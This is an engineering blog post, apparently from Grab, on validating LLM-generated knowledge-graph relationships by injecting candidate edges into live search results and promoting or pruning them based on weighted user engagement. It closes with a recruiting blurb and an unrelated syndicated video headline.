Automated KG construction using LLMs and unstructured content extraction can scale quickly across large, dynamic catalogs. However, relationships inferred from text co-occurrence or vector similarity do not always reflect semantic reality. Manual verification by domain experts remains accurate but does not scale to millions of entities that change daily.
When inaccurate edges enter the graph, ranking and query expansion systems propagate those errors to users. Incorrect parent-child or sibling links lead to irrelevant search results, reduced CTR, and lower user trust. An additional solution is required that can validate graph structure continuously, at scale, without relying solely on manual curation.
Solution
The overall workflow of this invention is shown in the following figure. The details of each step are explained in this section.
The proposed framework functions as a closed-loop validation ecosystem. It is composed of four integrated modules designed to continuously cycle data from the KG to the user interface and back, using real-world interactions to separate semantic truth from artificial intelligence (AI) hallucinations.
The verification process follows a continuous, iterative loop that cycles data from the backend graph to the frontend user interface and back. This four-step procedure operationalizes the human-in-the-loop validation mechanism:
- Hypothesis generation
- Candidate injection
- Signal aggregation and scoring
- Graph update logic
Architecture details
KG core
The central repository acts as the source of truth, storing entities such as dishes, products, or merchants, and the connections between them. To manage the verification process, the system introduces a specialized metadata layer that classifies every connection (or edge) into one of two distinct states:
- Verified edges: These are established relationships that have been validated either by high historical traffic or human confirmation. They represent the safe structure of the graph. For example, “Sushi” is definitely a child of “Japanese Cuisine”, and is used to power standard search results.
- Candidate edges: These are probabilistic, unverified relationships generated by automated LLMs or content scrapers. They are treated as hypotheses waiting to be proven. For example, if an LLM ingests a blog post and predicts that “Pho” is related to “Italian Noodle Soup,” this link is stored as a candidate edge, invisible to the main search algorithm until validated.
Search and injection module
This module sits between the KG and the user, intercepting the query execution pipeline. Unlike standard ranking algorithms, which strictly optimize for relevance by showing only the best results, the injection engine employs a balanced strategy known as exploration vs. exploitation.
- The injection mechanism: When a user performs a search, the system retrieves a list of high-confidence results (exploitation). Simultaneously, it deliberately retrieves a small subset of candidate edges related to the query. It injects these unverified candidates into specific, lower-risk slots within the user interface, such as the third or fourth position in a related searches chip carousel.
- Risk management: To prevent user frustration, the system limits the number of candidates shown per session. This ensures that the user is primarily served helpful, verified content, while still providing enough data points to test new hypotheses.
Behavior tracking module
To accurately measure whether a candidate relationship is valid, the system tracks user micro-interactions with high granularity. It captures not just the final click, but the precise context in which the interaction occurred to determine semantic intent.
- Contextual anchoring: The system logs the specific search term, also known as the anchor, used by the user. A click on “Pho” is only counted as a vote for the relationship if the user was searching for “Noodle Soup” at the time.
- Signal classification: Signals are assessed in aggregate to estimate the relevance of a candidate relationship. Higher-intent engagement contributes stronger positive evidence, lighter exploratory behavior contributes weaker positive evidence, and lack of engagement or explicit negative actions contributes negative evidence.
Verification and refinement engine
This is an offline processing unit that acts as the final judge. It aggregates thousands of individual user signals to update the topology of the KG.
Relevance scoring: Instead of complex formulas, the engine calculates a simple confidence ratio. It looks at the total number of times a candidate was shown versus the number of positive interactions it received.
Graph topology updates:
- Promotion (verify): If the confidence ratio exceeds a verification threshold. For example, if the candidate performs as well as known good items, the edge is upgraded from candidate to verified. It becomes a permanent part of the graph and is shown to all users.
- Demotion (prune): If the candidate consistently fails to garner engagement or receives negative signals, it falls below a pruning threshold. The system automatically deletes this edge, effectively correcting the AI’s hallucination and cleaning the dataset.
Implementation
Hypothesis generation
The process begins by identifying a target subject, referred to as the anchor entity. For example, the specific dish “Pho”. The system queries the KG to retrieve a set of potential relationships. This retrieval includes both verified neighbors, where relationships are already confirmed by experts, and candidate neighbors, where the relationships are predicted by AI models but not yet proven.
Candidate injection
Once a hypothesis is selected, the system exposes it to real users to gather evidence. When a user actively searches for the anchor entity, the system dynamically injects the candidate neighbor into the search results.
- User interface (UI) implementation: The candidate is presented alongside verified items, typically in a related categories carousel or a refine search chip list. This reflects standard relevance experimentation in search, with safeguards to ensure the experience remains controlled and measurable.
- Exposure logging: The system logs an impression event specifically linking the anchor to the candidate. This record serves as the baseline, documenting that the user saw the relationship, which is essential for calculating future engagement rates.
Signal aggregation and scoring
Instead of using a raw count of clicks, the system calculates a sophisticated relationship confidence score by aggregating user interactions over time. This scoring model uses a weighted tier system to distinguish between casual interest and strong intent.
- Weighted interaction logic: The system assigns a higher value to actions that require more effort or commitment. For example, a “Purchase” or “Add-to-Cart” action is weighted significantly heavier than a simple click, as it indicates a strong validation of the relationship. Conversely, scrolling past the item quickly or skipping is treated as a negative signal.
- Normalization: To ensure fairness, the total weighted score is normalized against the total number of times the candidate was shown. This prevents niche items with low total traffic but high accuracy from being unfairly penalized.
Graph update logic
Periodically, the verification engine evaluates the confidence score against predefined benchmarks to update the KG’s topology. This is a binary decision process:
- Validation (cementing the edge): If the accumulated confidence score exceeds a strict validation threshold, the system concludes that the relationship is genuine. The status of the edge is updated from candidate to verified. This permanently adds the relationship to the graph, ensuring it appears in future standard searches without the need for further testing.
- Rejection (pruning the edge): Conversely, if the score falls below a rejection threshold, indicating that users consistently ignore or reject the suggestion, the system concludes the relationship is an AI hallucination. The edge is severed or removed from the graph. This pruning action cleans the dataset, preventing the system from making the same bad recommendation again.
Case study: hierarchical refinement in food delivery
To demonstrate the framework, consider a validation scenario in food delivery taxonomy. An LLM-based ingestion pipeline flags a candidate parent-child link
Noodle Soup → Dry Mee Pok and stores it as an unverified candidate edge in the KG, ready for live validation.
User-triggered validation:
When a user searches for “Noodle Soup,” the search module injects the candidate alongside verified results. For example, in a “Refine by Dish” filter carousel, and logs an impression linking the anchor query to the candidate.
Outcome collection:
User interactions like clicks, dwell time, scroll behavior, and conversions are captured and weighted over the validation window. The verification engine aggregates these signals and updates the graph: relationships that meet the validation threshold are promoted to verified status; those that fail are pruned or re-mapped to a more appropriate parent node.
Impact
By injecting unverified candidate edges into live search results and recommendation interfaces via a multi-armed bandit (MAB) exploration strategy, the system leverages implicit user feedback to validate semantic truth. This dynamic, human-in-the-loop mechanism effectively prunes erroneous connections and reinforces accurate taxonomies without the need for manual curation, significantly enhancing search relevance in dynamic domains such as food delivery and retail.
The case study demonstrates how the framework validates candidate relationships through live user traffic, collecting interaction signals and updating the graph without manual curation.
Learnings and conclusion
The feedback-driven verification engine operationalizes the search interface as a validation environment for KG relationships. By classifying edges as verified or candidate, injecting candidates through an exploration vs. exploitation strategy, and aggregating weighted user signals, the system promotes accurate relationships and prunes AI hallucinations at scale.
Unlike approaches that validate only entities, this framework validates structural links, confirming whether entity A is truly a parent, child, or sibling of entity B. The food delivery case study shows how a user-triggered search can initiate validation and outcome collection at scale, without manual intervention.
What’s next
Hierarchical confidence tiers
To safely graduate new connections into the production graph, we are introducing a dual-measurement trust system that requires both volume and variety before a new connection goes live: support mass (product hits, graph depth, recency) and corroboration (unique sessions, anonymous cohorts, and temporal spread). Connections must climb a strict state machine: proposed → shadow eligible → canary eligible → production, advancing only when both metrics meet progressively higher thresholds; if a snapshot causes metrics to fall below a tier’s floor, the connection is automatically demoted.
Adversarial and spam resistance
To prevent bad actors, bots, or highly repetitive users from manipulating the search graph, we are building a multi-layered defense system. We enforce per-merchant rate limits and anti‑abuse controls: hourly caps per session/device, exponential backoff for rapidly repeated actions, and a short (few‑hour) freeze of promotions from any user cohort after declines or “irrelevant” signals. For bot and Sybil attack defense, traffic flagged by abuse systems is excluded from trust calculations (but logged for analysis); votes must come from diverse network subnets or cohort buckets, and each bucket is subject to a daily contribution cap.
Join us
Grab is a leading superapp in Southeast Asia, operating across the deliveries, mobility, and digital financial services sectors. Serving over 900 cities in eight Southeast Asian countries: Cambodia, Indonesia, Malaysia, Myanmar, the Philippines, Singapore, Thailand, and Vietnam. Grab enables millions of people every day to order food or groceries, send packages, hail a ride or taxi, pay for online purchases or access services such as lending and insurance, all through a single app. We operate supermarkets in Malaysia under Jaya Grocer and Everrise, which enables us to bring the convenience of on-demand grocery delivery to more consumers in the country. As part of our financial services offerings, we also provide digital banking services through GXS Bank in Singapore and GXBank in Malaysia. Grab was founded in 2012 with the mission to drive Southeast Asia forward by creating economic empowerment for everyone. Grab strives to serve a triple bottom line. We aim to simultaneously deliver financial performance for our shareholders and have a positive social impact, which includes economic empowerment for millions of people in the region, while mitigating our environmental footprint.
Powered by technology and driven by heart, our mission is to drive Southeast Asia forward by creating economic empowerment for everyone. If this mission speaks to you, join our team today!
The No-Limits President Hits His Limits
Post Syndicated from The Atlantic original https://www.youtube.com/shorts/QaD2xhyLW9o